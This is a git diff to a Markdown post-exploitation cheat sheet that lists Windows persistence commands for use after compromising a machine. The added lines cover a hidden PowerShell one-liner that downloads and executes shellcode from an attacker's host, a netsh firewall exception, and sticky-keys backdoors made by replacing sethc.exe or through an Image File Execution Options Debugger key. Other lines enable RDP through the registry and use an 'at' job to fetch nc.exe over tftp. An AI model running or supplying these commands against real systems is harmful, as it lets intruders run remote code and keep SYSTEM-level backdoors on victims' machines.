diff --git a/persistence/windows/general.md b/persistence/windows/general.md index 651fbfd..c337744 100644 --- a/persistence/windows/general.md +++ b/persistence/windows/general.md @@ -13,19 +13,26 @@ return false; Commands to run to maintain persistence after you have exploited it and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. +### Firewall Exceptions +When you modify a system to talk on the network, you may need to alter the Windows firewall so your traffic is not filtered. The `netsh` command can be used to do this as the command to enable Remote Desktop Protocol below shows: + +`netsh firewall set service type = remotedesktop mode = enable` + + +### Powershell Downloader + * **Command with arguments**: `powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"` + * **Description**: According to [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), _"Schedule this and it will execute the shellcode on that page, pulling it each time (so you can change as needed)"_. + + ### Remote Assistance Enable * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f` * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system. - * **Output**: - *
**Windows 2008:** Show/Hide
C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f -The operation completed successfully.
+ ### Remote Desktop Enable - Method 1 * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f` - * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. - * **Output**: - *
**Windows 2008:** Show/Hide
C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f -The operation completed successfully.
+ * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. + ### Remote Desktop Enable - Method 2 Remote Desktop allows a remote user to receive a graphical "desktop" of the target (compromised) system. According to Val Smith's and Colin Ames' [BlackHat 2008 presentation (page 53)](http://www.blackhat.com/presentations/bh-usa-08/Smith_Ames/BH_US_08_Smith_Ames_Meta-Post_Exploitation.pdf), you can remotely enable remote desktop using the commands below. @@ -76,4 +83,20 @@ c:\> net use \\[TargetIP]\ipc$ password /user:username c:\> at \\[TargetIP] 12:00 pm command -An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe` \ No newline at end of file +An example you might run on the remote system might be: `at \\192.168.1.1 12:00pm tftp -I [MyIP] GET nc.exe` + + +### Sticky Keys (Requires reboot) +Sticky keys on Windows systems are activated when the user presses the SHIFT key 5 times. Here, according to the [posted slides](http://www.slideshare.net/mubix/windows-attacks-at-is-the-new-black-26665607), you replace the sethc.exe binary with your own binary (cmd.exe maybe?) and, when SHIFT is pressed 5 times, your binary is executed. Your binary will execute as SYSTEM and needs to replace the `%WINDIR%\System32\sethc.exe`. + +Some caveats: +* If NLA (Network Layer Authentication) is enabled, this won't work +* If RDP (Remote Desktop Protocol) is disabled, this won't work + + +### Sticky Keys (No reboot) +This technique uses registry entries to switch the binary that the sticky keys executes. Its real advantage is that it does not require a reboot for the switch to take place. +* In the `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options` make a key called `sethc.exe` +* Make a REG_SZ value called "Debugger" (Ensure it is capitalized) +* For the "Debugger" REG_SZ, make it have a value of your binary +* Press SHIFT 5 times and your binary should be executed \ No newline at end of file